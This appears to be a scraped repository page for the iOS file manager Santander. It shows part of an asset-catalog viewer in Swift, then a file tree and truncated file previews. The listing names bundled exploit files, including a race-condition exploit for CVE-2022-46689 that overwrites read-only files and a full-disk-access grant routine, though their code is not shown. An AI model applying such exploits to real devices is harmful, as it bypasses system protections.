                setupBarItems() // update the bar items so that the new selected mode is marked with a checkmark
            }
        }
        
        let changeLayoutMenu = UIMenu(title: "Layout", children: changeLayoutActions)
        return UIMenu(children: [extractAction, changeLayoutMenu])
    }
    
    func setupBarItems() {
        let dismissAction = UIAction { _ in
            self.dismiss(animated: true)
        }
        
        navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .close, primaryAction: dismissAction)
        let barButtonWithMenu = UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: makeMenuForBarButton())
        
        // on iPad, leftButton fits more as the right bar button item for the sidebar
        if UIDevice.isiPad {
            splitViewController?.viewController(for: .primary)?.navigationItem.rightBarButtonItem = barButtonWithMenu
        } else {
            // otherwise, on other platforms, set it as the leftBarButtonItem
            navigationItem.leftBarButtonItem = barButtonWithMenu
        }
    }
    
    func extractAction() {
        let action: PathSelectionOperation = .custom(description: "extract", verbDescription: "Extracting to..") { [self] operationVC, selectedPath in
            let extractionPath = selectedPath
                .appendingPathComponent("\(fileURL.lastPathComponent)-Extracted")
            
            extractItems(extractionPath: extractionPath, sourceVC: operationVC) { error in
                if let error = error {
                    operationVC.errorAlert(error, title: "Unable to extract items")
                } else {
                    // once we're done with extracting,
                    // go to the directory where the extracted items are
                    operationVC.dismiss(animated: true) {
                        self.dismiss(animated: true) {
                            let rootVC = UIApplication.shared.sceneKeyWindow?.rootViewController
                            let vcToPushFrom: PathTransitioning?
                            
                            if UIDevice.isiPad {
                                vcToPushFrom = (rootVC as? UISplitViewController)?.viewController(for: .primary) as? PathTransitioning
                            } else {
                                vcToPushFrom = (rootVC as? UINavigationController)?.visibleViewController as? PathTransitioning
                            }
                            
                            vcToPushFrom?.goToPath(path: Path(url: extractionPath))
                        }
                    }
                }
            }
        }
        
        let vc = PathOperationViewController(paths: [fileURL], operationType: action, dismissWhenDone: false)
        present(UINavigationController(rootViewController: vc), animated: true) {
            // go to .car's parent path once the operation vc is presented
            vc.goToPath(path: Path(url: self.fileURL.deletingLastPathComponent()))
        }
    }
    
    func extractItems(
        extractionPath savePath: URL,
        sourceVC: UIViewController,
        completionHandler: @escaping (Error?) -> Void
    ) {
        
        let alertController = createAlertWithSpinner(title: "Extracting..")
        
        sourceVC.present(alertController, animated: true)
        
        var caughtError: Error? = nil
        
        DispatchQueue.global(qos: .userInitiated).async {
            do {
                try FSOperation.perform(.extractCatalog(catalogFileURL: self.fileURL, resultPath: savePath), rootHelperConf: RootConf.shared)
            } catch {
                caughtError = error
            }
        }

        DispatchQueue.main.async {
            alertController.dismiss(animated: true) {
                return completionHandler(caughtError)
            }
        }
    }
    
    enum LayoutMode: Int, CustomStringConvertible, CaseIterable {
        case horizantal
        case verical
        
        init(_ rawValue: Int) {
            // default to horizontal
            switch rawValue {
            case LayoutMode.horizantal.rawValue: self = .horizantal
            default: self = .verical
            }
        }
        
        var description: String {
            switch self {
            case .horizantal:
                return "Horizontal"
            case .verical:
                return "Vertical"
            }
        }
    }
}

// MARK: - Layout & Data Source stuff
extension AssetCatalogViewController: UICollectionViewDelegate {
    func createLayout() -> UICollectionViewLayout {
        let section: NSCollectionLayoutSection
        
        switch layoutMode {
        case .verical:
            let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
                                                  heightDimension: .fractionalHeight(1.0))
            let item = NSCollectionLayoutItem(layoutSize: itemSize)
            let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
                                                   heightDimension: .absolute(60))
            
            let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1)
            let spacing = CGFloat(10)
            group.interItemSpacing = .fixed(spacing)
            
            section = NSCollectionLayoutSection(group: group)
            section.interGroupSpacing = spacing
            section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: spacing, bottom: 0, trailing: spacing)
        case .horizantal:
            let itemSize = NSCollectionLayoutSize(
                widthDimension: .fractionalWidth(1),
                heightDimension: .fractionalHeight(0.40)
            )
            
            let layoutItem = NSCollectionLayoutItem(layoutSize: itemSize)
            layoutItem.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 5, bottom: 3, trailing: 5)
            
            let layoutGroupSize = NSCollectionLayoutSize(
                widthDimension: .fractionalWidth(0.93),
                heightDimension: .fractionalWidth(0.55)
            )
            
            let layoutGroup: NSCollectionLayoutGroup = .vertical(
                layoutSize: layoutGroupSize,
                subitem: layoutItem,
                count: 3
            )
            
            layoutGroup.interItemSpacing = .fixed(15)
            
            section = NSCollectionLayoutSection(group: layoutGroup)
            section.orthogonalScrollingBehavior = .groupPagingCentered
        }
        
        let titleHeaderSize = NSCollectionLayoutSize(
            widthDimension: .fractionalWidth(0.93),
            heightDimension: .absolute(50)
        )
        
        let titleSupplementary = NSCollectionLayoutBoundarySupplementaryItem(
            layoutSize: titleHeaderSize,
            elementKind: AssetCatalogViewController.titleElementKind,
            alignment: layoutMode == .horizantal ? .top : .topLeading
        )
        
        section.boundarySupplementaryItems = [titleSupplementary]
        let layout = UICollectionViewCompositionalLayout(section: section)
        let conf = UICollectionViewCompositionalLayoutConfiguration()
        conf.interSectionSpacing = 20
        
        layout.configuration = conf
        return layout
    }
    
    
    func configureDataSource() {
        let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in
            cell.rendition = itemIdentifier
            cell.configure()
        }
        
        dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in
            return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)
        }
        
        updateDataSourceItems(collection: renditionCollection)
        
        let supplementaryRegistration = SupplementaryRegistration(elementKind: AssetCatalogViewController.titleElementKind) { supplementaryView, elementKind, indexPath in
            let snapshot = self.dataSource.snapshot()
            let section = snapshot.sectionIdentifiers[indexPath.section]
            supplementaryView.configure(withSection: section, snapshot: snapshot, sender: self)
        }
        
        dataSource.supplementaryViewProvider = { (collectionView, string, indexPath) in
            return collectionView.dequeueConfiguredReusableSupplementary(using: supplementaryRegistration, for: indexPath)
        }
    }
    
    
    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
        guard let item = dataSource.itemIdentifier(for: indexPath) else { return }
        let vc = AssetCatalogRenditionViewController(rendition: item, sender: self)
        present(UINavigationController(rootViewController: vc), animated: true)
    }
    
    func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {
        guard let item = dataSource.itemIdentifier(for: indexPath) else { return nil }
        return UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in
            let copyNameAction = UIAction(title: "Copy name", image: UIImage(systemName: "doc.on.doc")) { _ in
                UIPasteboard.general.string = item.name
            }
            var children = [copyNameAction]
            
            if let image = item.image {
                let uiImage = UIImage(cgImage: image)
                let copyImageAction = UIAction(title: "Copy Image") { _ in
                    UIPasteboard.general.image = uiImage
                }
                
                children.append(copyImageAction)
                
                let saveImageAction = UIAction(title: "Save Image", image: UIImage(systemName: "square.and.arrow.down")) { _ in
                    self.saveImage(uiImage)
                }
                
                children.append(saveImageAction)
            }
            
            var attributes: UIMenuElement.Attributes = []
            
            // can only edit images & icons for now
            // i tried to get color editing to work but for whatever reason
            // -[CUIMutableCommonAssetStorage setColor:forName:excludeFromFilter:] just doesn't work..
            if !item.type.isEditable {
                attributes = .disabled
            }
            
            let editAction = UIAction(title: "Edit", attributes: attributes) { _ in
                self.editItem(item)
            }
            
            children.append(editAction)
            
            
            let deleteItemAction = UIAction(title: "Delete", image: UIImage(systemName: "trash"), attributes: .destructive) { [self] _ in
                deleteItem(item, completion: nil)
            }
            
            children.append(deleteItemAction)
            
            return UIMenu(children: children)
        }
        
    }
    
    func deleteItem(_ item: Rendition, completion: ((Error?) -> Void)?) {
        do {
            try catalog.removeItem(item, fileURL: fileURL)
            
            // update the catalog and rendition collection
            let (newCatalog, newRenditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)
            self.catalog = newCatalog
            self.renditionCollection = newRenditions
            updateDataSourceItems(collection: renditionCollection)
            completion?(nil)
        } catch {
            let completion = completion ?? { error in
                self.errorAlert(error, title: "Failed to delete item and update contents of file")
            }
            
            completion(error)
        }
    }
    
    func updateDataSourceItems(collection: RenditionCollection) {
        var snapshot = NSDiffableDataSourceSnapshot<RenditionType, Rendition>()
        for (section, items) in collection {
            snapshot.appendSections([section])
            snapshot.appendItems(items, toSection: section)
        }
        
        dataSource.apply(snapshot, animatingDifferences: true)
        
        // update the sections on the iPad sidebar
        if UIDevice.isiPad, let sidebar = splitViewController?.viewController(for: .primary) as? AssetCatalogSidebarListView {
            let sections = dataSource.snapshot().sectionIdentifiers
            var sidebarSnapshot = AssetCatalogSidebarListView.Snapshot()
            sidebarSnapshot.appendSections([.main])
            sidebarSnapshot.appendItems(sections, toSection: .main)
            sidebar.dataSource.apply(sidebarSnapshot)
        }
    }
    
    func editItem(_ item: Rendition, presentingFrom optionalVcToPresentFrom: UIViewController? = nil, callback: ((Error?) -> Void)? = nil) {
        guard let preview = item.representation else { return }
        
        let vcToPresentFrom = optionalVcToPresentFrom ?? self
        
        let errorCallback: ItemEditorDelegate.ErrorCallback = callback ?? { error in
            if let error = error {
                vcToPresentFrom.errorAlert(error, title: "Failed to edit item")
            }
        }

        
        editorDelegate = ItemEditorDelegate(sender: self, selectedRendition: item, finishedEditingCallback: errorCallback)
        let vc: UIViewController
        switch preview {
        case .image(_):
            var conf = PHPickerConfiguration()
            conf.filter = .images
            conf.selectionLimit = 1
            let photoVC = PHPickerViewController(configuration: conf)
            photoVC.delegate = editorDelegate
            vc = photoVC
        case .color(let currentCgColor):
            let colorVC = UIColorPickerViewController()
            colorVC.delegate = editorDelegate
            // when presenting the color picker controller,
            // set the default selected color as the item's current CGColor
            colorVC.selectedColor = UIColor(cgColor: currentCgColor)
            vc = colorVC
        }
        
        vcToPresentFrom.present(vc, animated: true)
    }
}

extension AssetCatalogViewController: UICollectionViewDragDelegate {
    func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {
        guard let dragItem = dataSource.itemIdentifier(for: indexPath)?.makeDragItem() else { return [] }
        
        return [
            dragItem
        ]
    }
    
}

extension AssetCatalogViewController: UISearchBarDelegate {
    func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {
        noResultsLabel.removeFromSuperview()
        guard !searchText.isEmpty else {
            updateDataSourceItems(collection: renditionCollection) // if the text is empty, show all items
            return
        }
        
        let newCollection = renditionCollection.map { (type, renditions) in
            let newRenditions = renditions.filter { rend in
                return rend.name.localizedCaseInsensitiveContains(searchText)
            }
            
            return (type, newRenditions)
        }.filter { (_, rends) in
            !rends.isEmpty
        }
        
        updateDataSourceItems(collection: newCollection)
        
        // if there are no search results & the noResultsLabel isn't already being displayed
        // display it
        if newCollection.isEmpty, noResultsLabel.superview == nil {
            noResultsLabel.text = "No Results"
            noResultsLabel.font = .systemFont(ofSize: 20, weight: .bold)
            noResultsLabel.translatesAutoresizingMaskIntoConstraints = false
            view.addSubview(noResultsLabel)
            
            let guide = view.layoutMarginsGuide
            NSLayoutConstraint.activate([
                noResultsLabel.centerXAnchor.constraint(equalTo: guide.centerXAnchor),
                noResultsLabel.centerYAnchor.constraint(equalTo: guide.centerYAnchor)
            ])
        }
    }
    
    func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {
        noResultsLabel.removeFromSuperview()
        updateDataSourceItems(collection: renditionCollection)
    }
    
    func fetchItemsFromFile() {
        do {
            let (newCatalog, newCollection) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)
            self.catalog = newCatalog
            s
Download .txt
gitextract_qv0ndjc7/

├── .github/
│   └── workflows/
│       └── build.yml
├── .gitignore
├── LICENSE.md
├── Makefile
├── README.md
├── RootHelper/
│   ├── Commands.swift
│   ├── Extensions.swift
│   └── main.swift
├── Santander/
│   ├── AppDelegate.swift
│   ├── Assets.xcassets/
│   │   ├── AccentColor.colorset/
│   │   │   └── Contents.json
│   │   ├── AppIcon.appiconset/
│   │   │   └── Contents.json
│   │   └── Contents.json
│   ├── Base.lproj/
│   │   └── LaunchScreen.storyboard
│   ├── Info.plist
│   ├── Other/
│   │   ├── Alert++.swift
│   │   ├── BaseLayoutAnchorSupporting.swift
│   │   ├── DiffableDataSourceItem.swift
│   │   ├── DirectoryMonitor.swift
│   │   ├── Exploit/
│   │   │   ├── grant_full_disk_access.h
│   │   │   ├── grant_full_disk_access.m
│   │   │   ├── helpers.h
│   │   │   ├── helpers.m
│   │   │   ├── vm_unaligned_copy_switch_race.c
│   │   │   └── vm_unaligned_copy_switch_race.h
│   │   ├── Extensions.swift
│   │   ├── GoToItem.swift
│   │   ├── ImageMetadata.swift
│   │   ├── LoadingValueState.swift
│   │   ├── Path.swift
│   │   ├── PathMetadata.swift
│   │   ├── PathTransitioning.swift
│   │   ├── PathType.swift
│   │   ├── PathsSortMethods.swift
│   │   ├── Permissions.swift
│   │   ├── Preferences/
│   │   │   ├── Storage.swift
│   │   │   └── UserPreferences.swift
│   │   ├── RootHelper.swift
│   │   └── SantanderHeader.h
│   ├── SceneDelegate.swift
│   └── UI/
│       ├── AppInfoViewController.swift
│       ├── Editors/
│       │   ├── AssetCatalog/
│       │   │   ├── AssetCatalogCell.swift
│       │   │   ├── AssetCatalogDetailsView.swift
│       │   │   ├── AssetCatalogGridPreviewCell.swift
│       │   │   ├── AssetCatalogRenditionViewController.swift
│       │   │   ├── AssetCatalogSectionHeader.swift
│       │   │   ├── AssetCatalogSidebarListView.swift
│       │   │   └── AssetCatalogViewController.swift
│       │   ├── Audio/
│       │   │   ├── AudioPlayerToolbarView.swift
│       │   │   └── AudioPlayerViewController.swift
│       │   ├── BinaryExecutionViewController.swift
│       │   ├── FileEditorType.swift
│       │   ├── Font/
│       │   │   ├── FontInformationViewController.swift
│       │   │   └── FontViewerController.swift
│       │   ├── Image/
│       │   │   ├── ImageLocationEditorViewController.swift
│       │   │   ├── ImageMetadataViewController.swift
│       │   │   └── ImageViewerController.swift
│       │   ├── Serialized/
│       │   │   ├── SerializedArrayViewController.swift
│       │   │   ├── SerializedDocumentViewController.swift
│       │   │   ├── SerializedItemType.swift
│       │   │   └── SerializedItemViewController.swift
│       │   └── TextEditor/
│       │       ├── KeyboardSearchView.swift
│       │       ├── KeyboardToolsView.swift
│       │       ├── TextEditorThemeSettingsViewController.swift
│       │       ├── TextFileEditorViewController.swift
│       │       └── Themes.swift
│       ├── FilePreviewDataSource.swift
│       ├── Path/
│       │   ├── DragAndDrop.swift
│       │   ├── PathGroupOwnerViewController.swift
│       │   ├── PathInformationTableViewController.swift
│       │   ├── PathListViewController.swift
│       │   ├── PathOperationViewController.swift
│       │   ├── PathPermissionsViewController.swift
│       │   ├── PathSidebarListViewController.swift
│       │   ├── Search.swift
│       │   └── ToolbarItems.swift
│       ├── SettingsTableViewController.swift
│       └── TypeSelectionViewController.swift
├── Santander.xcodeproj/
│   └── project.pbxproj
├── entitlements-TS.plist
└── entitlements.plist
Download .txt
SYMBOL INDEX (4 symbols across 1 files)

FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.c
  type context1 (line 30) | struct context1 {
  type context1 (line 44) | struct context1
  type context1 (line 46) | struct context1
  function unaligned_copy_switch_race (line 91) | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset...
Condensed preview — 80 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (551K chars).
[
  {
    "path": ".github/workflows/build.yml",
    "chars": 1670,
    "preview": "name: CI\n\non:\n  push:\n    branches:\n      - main\n      - serena/root-helper-proper\n    paths-ignore:\n      - '**/*.md'\n "
  },
  {
    "path": ".gitignore",
    "chars": 181,
    "preview": "Santander.xcodeproj/xcuserdata/*\nSantander.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved\nSantander"
  },
  {
    "path": "LICENSE.md",
    "chars": 1063,
    "preview": "MIT License\n\nCopyright (c) 2022 Serena\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof "
  },
  {
    "path": "Makefile",
    "chars": 2375,
    "preview": "# Shamelessly stolen from https://github.com/elihwyma/Pogo/blob/main/Makefile\nTARGET_CODESIGN = $(shell which ldid)\n\nAPP"
  },
  {
    "path": "README.md",
    "chars": 852,
    "preview": "# Santander\nA new, enhanced File Manager for iOS devices with MDC support\n\n![Screenshot 2022-08-04 at 3 26 56 PM](https:"
  },
  {
    "path": "RootHelper/Commands.swift",
    "chars": 6494,
    "preview": "//\n//  Commands.swift\n//  RootHelper\n//\n//  Created by Serena on 10/11/2022\n//\n\nimport Foundation\nimport ArgumentParser\n"
  },
  {
    "path": "RootHelper/Extensions.swift",
    "chars": 824,
    "preview": "//\n//  Extensions.swift\n//  RootHelper\n//\n//  Created by Serena on 10/11/2022\n//\n\t\n\nimport Foundation\nimport ArgumentPar"
  },
  {
    "path": "RootHelper/main.swift",
    "chars": 1776,
    "preview": "//\n//  main.swift\n//  RootHelper\n//\n//  Created by Serena on 17/10/2022\n//\n\nimport ArgumentParser\nimport Foundation\nimpo"
  },
  {
    "path": "Santander/AppDelegate.swift",
    "chars": 1876,
    "preview": "//\n//  AppDelegate.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\t\n\nimport UIKit\n\n@main\nclass AppDelegat"
  },
  {
    "path": "Santander/Assets.xcassets/AccentColor.colorset/Contents.json",
    "chars": 123,
    "preview": "{\n  \"colors\" : [\n    {\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }"
  },
  {
    "path": "Santander/Assets.xcassets/AppIcon.appiconset/Contents.json",
    "chars": 6652,
    "preview": "{\n  \"images\" : [\n    {\n      \"filename\" : \"40.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"20x2"
  },
  {
    "path": "Santander/Assets.xcassets/Contents.json",
    "chars": 63,
    "preview": "{\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Santander/Base.lproj/LaunchScreen.storyboard",
    "chars": 1665,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard"
  },
  {
    "path": "Santander/Info.plist",
    "chars": 1601,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Santander/Other/Alert++.swift",
    "chars": 1997,
    "preview": "//\n//  Alert++.swift\n//  Derootifier\n//\n//  Created by Анохин Юрий on 15.04.2023.\n//\n\nimport UIKit\n\nvar currentUIAlertCo"
  },
  {
    "path": "Santander/Other/BaseLayoutAnchorSupporting.swift",
    "chars": 1074,
    "preview": "//\n//  BaseLayoutAnchorSupporting.swift\n//  Santander\n//\n//  Created by Serena on 08/10/2022\n//\n\t\n\nimport UIKit\n\n/// A P"
  },
  {
    "path": "Santander/Other/DiffableDataSourceItem.swift",
    "chars": 522,
    "preview": "//\n//  DiffableDataSourceItem.swift\n//  Santander\n//\n//  Created by Serena on 04/11/2022\n//\n\n\nimport UIKit\n\n/// Describe"
  },
  {
    "path": "Santander/Other/DirectoryMonitor.swift",
    "chars": 3124,
    "preview": "//\n//  DirectoryMonitor.swift\n//  Santander\n//\n//  Created by Serena on 27/06/2022\n//\n//  Code originally written by App"
  },
  {
    "path": "Santander/Other/Exploit/grant_full_disk_access.h",
    "chars": 267,
    "preview": "// header for grant_full_disk_access created by haxi0\n@import Foundation;\n\n#ifndef grant_full_disk_access_\n#define grant"
  },
  {
    "path": "Santander/Other/Exploit/grant_full_disk_access.m",
    "chars": 17420,
    "preview": "@import Darwin;\n@import Foundation;\n@import MachO;\n\n#import <mach-o/fixup-chains.h>\n// you'll need helpers.m from Ian Be"
  },
  {
    "path": "Santander/Other/Exploit/helpers.h",
    "chars": 312,
    "preview": "#ifndef helpers_h\n#define helpers_h\n\nchar* get_temp_file_path(void);\nvoid test_nsexpressions(void);\nchar* set_up_tmp_fil"
  },
  {
    "path": "Santander/Other/Exploit/helpers.m",
    "chars": 4222,
    "preview": "#import <Foundation/Foundation.h>\n#include <string.h>\n#include <mach/mach.h>\n#include <dirent.h>\n\nchar* get_temp_file_pa"
  },
  {
    "path": "Santander/Other/Exploit/vm_unaligned_copy_switch_race.c",
    "chars": 11283,
    "preview": "// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c\n// mo"
  },
  {
    "path": "Santander/Other/Exploit/vm_unaligned_copy_switch_race.h",
    "chars": 562,
    "preview": "#pragma once\n#include <stdlib.h>\n#include <stdbool.h>\n/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `"
  },
  {
    "path": "Santander/Other/Extensions.swift",
    "chars": 22113,
    "preview": "//\n//  Extensions.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\n// TODO: - Move all of this to other fi"
  },
  {
    "path": "Santander/Other/GoToItem.swift",
    "chars": 2430,
    "preview": "//\n//  GoToItem.swift\n//  Santander\n//\n//  Created by Serena on 24/10/2022\n//\n\t\n\nimport UIKit\n\n/// An item displayed for"
  },
  {
    "path": "Santander/Other/ImageMetadata.swift",
    "chars": 4392,
    "preview": "//\n//  ImageMetadata.swift\n//  Santander\n//\n//  Created by Serena on 24/08/2022.\n//\n\nimport Foundation\nimport ImageIO\nim"
  },
  {
    "path": "Santander/Other/LoadingValueState.swift",
    "chars": 318,
    "preview": "//\n//  LoadingValueState.swift\n//  Santander\n//\n//  Created by Serena on 08/11/2022\n//\n\n\nimport Foundation\n\n/// Describe"
  },
  {
    "path": "Santander/Other/Path.swift",
    "chars": 4228,
    "preview": "//\n//  Path.swift\n//  Santander\n//\n//  Created by Serena on 10/02/2023.\n//\n\nimport UIKit\nimport UniformTypeIdentifiers\ni"
  },
  {
    "path": "Santander/Other/PathMetadata.swift",
    "chars": 1495,
    "preview": "//\n//  PathMetadata.swift\n//  Santander\n//\n//  Created by Serena on 04/08/2022.\n//\n\nimport Foundation\nimport UniformType"
  },
  {
    "path": "Santander/Other/PathTransitioning.swift",
    "chars": 254,
    "preview": "//\n//  PathTransitioning.swift\n//  Santander\n//\n//  Created by Serena on 12/10/2022\n//\n\n\nimport Foundation\n\n/// A Protoc"
  },
  {
    "path": "Santander/Other/PathType.swift",
    "chars": 1609,
    "preview": "//\n//  PathType.swift\n//  Santander\n//\n//  Created by Serena on 27/06/2022\n//\n\t\n\nimport UIKit\n\nextension UIViewControlle"
  },
  {
    "path": "Santander/Other/PathsSortMethods.swift",
    "chars": 3569,
    "preview": "//\n//  PathsSortMethods.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\t\n\nimport Foundation\n\n/// The ways"
  },
  {
    "path": "Santander/Other/Permissions.swift",
    "chars": 4216,
    "preview": "//\n//  Permissions.swift\n//  Santander\n//\n//  Created by Serena on 05/08/2022.\n//\n\nimport Foundation\n\n/// Represents the"
  },
  {
    "path": "Santander/Other/Preferences/Storage.swift",
    "chars": 1444,
    "preview": "//\n//  Storage.swift\n//  Santander\n//\n//  Created by Serena on 06/07/2022\n//\n\t\n\nimport Foundation\n\n@propertyWrapper\nstru"
  },
  {
    "path": "Santander/Other/Preferences/UserPreferences.swift",
    "chars": 5025,
    "preview": "//\n//  UserPreferences.swift\n//  Santander\n//\n//  Created by Serena on 22/06/2022\n//\n\n\nimport UIKit\n\n/// Contains user p"
  },
  {
    "path": "Santander/Other/RootHelper.swift",
    "chars": 9362,
    "preview": "//\n//  FSOperation.swift\n//  Santander\n//\n//  Created by Serena on 15/09/2022\n//\n\n\nimport Foundation\n@_exported import F"
  },
  {
    "path": "Santander/Other/SantanderHeader.h",
    "chars": 143,
    "preview": "//\n//  SantanderHeader.h\n//  Santander\n//\n//  Created by Анохин Юрий on 24.05.2023.\n//\n\n#import \"grant_full_disk_access."
  },
  {
    "path": "Santander/SceneDelegate.swift",
    "chars": 7394,
    "preview": "//\n//  SceneDelegate.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\n\nimport UIKit\n\nclass SceneDelegate: "
  },
  {
    "path": "Santander/UI/AppInfoViewController.swift",
    "chars": 5309,
    "preview": "//\n//  AppInfoViewController.swift\n//  Santander\n//\n//  Created by Serena on 15/08/2022.\n//\n\nimport UIKit\nimport Applica"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogCell.swift",
    "chars": 2507,
    "preview": "//\n//  AssetCatalogCell.swift\n//  Santander\n//\n//  Created by Serena on 18/09/2022\n//\n\n\nimport UIKit\nimport AssetCatalog"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogDetailsView.swift",
    "chars": 887,
    "preview": "//\n//  AssetCatalogDetailsView.swift\n//  Santander\n//\n//  Created by Serena on 27/09/2022\n//\n\n\nimport UIKit\nimport CoreU"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogGridPreviewCell.swift",
    "chars": 2346,
    "preview": "//\n//  AssetCatalogGridPreviewCell.swift\n//  Santander\n//\n//  Created by Serena on 08/10/2022\n//\n\n\nimport UIKit\nimport A"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogRenditionViewController.swift",
    "chars": 19607,
    "preview": "//\n//  AssetCatalogRenditionViewController.swift\n//  Santander\n//\n//  Created by Serena on 01/10/2022\n//\n\n\nimport UIKit\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogSectionHeader.swift",
    "chars": 1542,
    "preview": "//\n//  AssetCatalogSectionHeader.swift\n//  Santander\n//\n//  Created by Serena on 21/09/2022\n//\n\n\nimport UIKit\nimport Ass"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogSidebarListView.swift",
    "chars": 3793,
    "preview": "//\n//  AssetCatalogSidebarListView.swift\n//  Santander\n//\n//  Created by Serena on 27/10/2022\n//\n\n\nimport UIKit\nimport A"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogViewController.swift",
    "chars": 26207,
    "preview": "//\n//  AssetCatalogViewController.swift\n//  Santander\n//\n//  Created by Serena on 16/09/2022\n//\n\n\nimport UIKit\nimport As"
  },
  {
    "path": "Santander/UI/Editors/Audio/AudioPlayerToolbarView.swift",
    "chars": 2435,
    "preview": "//\n//  AudioPlayerToolbarView.swift\n//  Santander\n//\n//  Created by Serena on 29/08/2022.\n//\n\nimport UIKit\n\nclass AudioP"
  },
  {
    "path": "Santander/UI/Editors/Audio/AudioPlayerViewController.swift",
    "chars": 15251,
    "preview": "//\n//  AudioPlayerViewController.swift\n//  Santander\n//\n//  Created by Serena on 06/07/2022\n//\n\t\n\nimport UIKit\nimport Me"
  },
  {
    "path": "Santander/UI/Editors/BinaryExecutionViewController.swift",
    "chars": 4733,
    "preview": "//\n//  BinaryExecutionViewController.swift\n//  Santander\n//\n//  Created by Serena on 06/09/2022\n//\n\t\n\nimport UIKit\nimpor"
  },
  {
    "path": "Santander/UI/Editors/FileEditorType.swift",
    "chars": 8585,
    "preview": "//\n//  FileEditorType.swift\n//  Santander\n//\n//  Created by Serena on 16/08/2022.\n//\n\nimport UIKit\nimport AVKit\n\nstruct "
  },
  {
    "path": "Santander/UI/Editors/Font/FontInformationViewController.swift",
    "chars": 3465,
    "preview": "//\n//  FontInformationViewController.swift\n//  Santander\n//\n//  Created by Serena on 03/09/2022.\n//\n\nimport UIKit\n\n/// A"
  },
  {
    "path": "Santander/UI/Editors/Font/FontViewerController.swift",
    "chars": 6423,
    "preview": "//\n//  FontViewerController.swift\n//  Santander\n//\n//  Created by Serena on 03/09/2022.\n//\n\nimport UIKit\n\n/// A ViewCont"
  },
  {
    "path": "Santander/UI/Editors/Image/ImageLocationEditorViewController.swift",
    "chars": 5829,
    "preview": "//\n//  ImageLocationEditorViewController.swift\n//  Santander\n//\n//  Created by Serena on 25/08/2022.\n//\n\nimport UIKit\nim"
  },
  {
    "path": "Santander/UI/Editors/Image/ImageMetadataViewController.swift",
    "chars": 6413,
    "preview": "//\n//  ImageMetadataViewController.swift\n//  Santander\n//\n//  Created by Serena on 24/08/2022.\n//\n\nimport UIKit\n\n/// A V"
  },
  {
    "path": "Santander/UI/Editors/Image/ImageViewerController.swift",
    "chars": 7234,
    "preview": "//\n//  ImageViewerController.swift\n//  Santander\n//\n//  Created by Serena on 21/08/2022.\n//\n\nimport UIKit\nimport Objecti"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedArrayViewController.swift",
    "chars": 6476,
    "preview": "//\n//  SerializedArrayViewController.swift\n//  Santander\n//\n//  Created by Serena on 18/08/2022.\n//\n\nimport UIKit\n\nclass"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedDocumentViewController.swift",
    "chars": 12177,
    "preview": "//\n//  SerializedDocumentViewController.swift\n//  Santander\n//\n//  Created by Serena on 16/08/2022.\n//\n\nimport UIKit\n\nty"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedItemType.swift",
    "chars": 4394,
    "preview": "//\n//  SerializedItemType.swift\n//  Santander\n//\n//  Created by Serena on 17/08/2022.\n//\n\nimport Foundation\n\nenum Serial"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedItemViewController.swift",
    "chars": 8425,
    "preview": "//\n//  PropertyListItemViewController.swift\n//  Santander\n//\n//  Created by Serena on 17/08/2022.\n//\n\nimport UIKit\n\nclas"
  },
  {
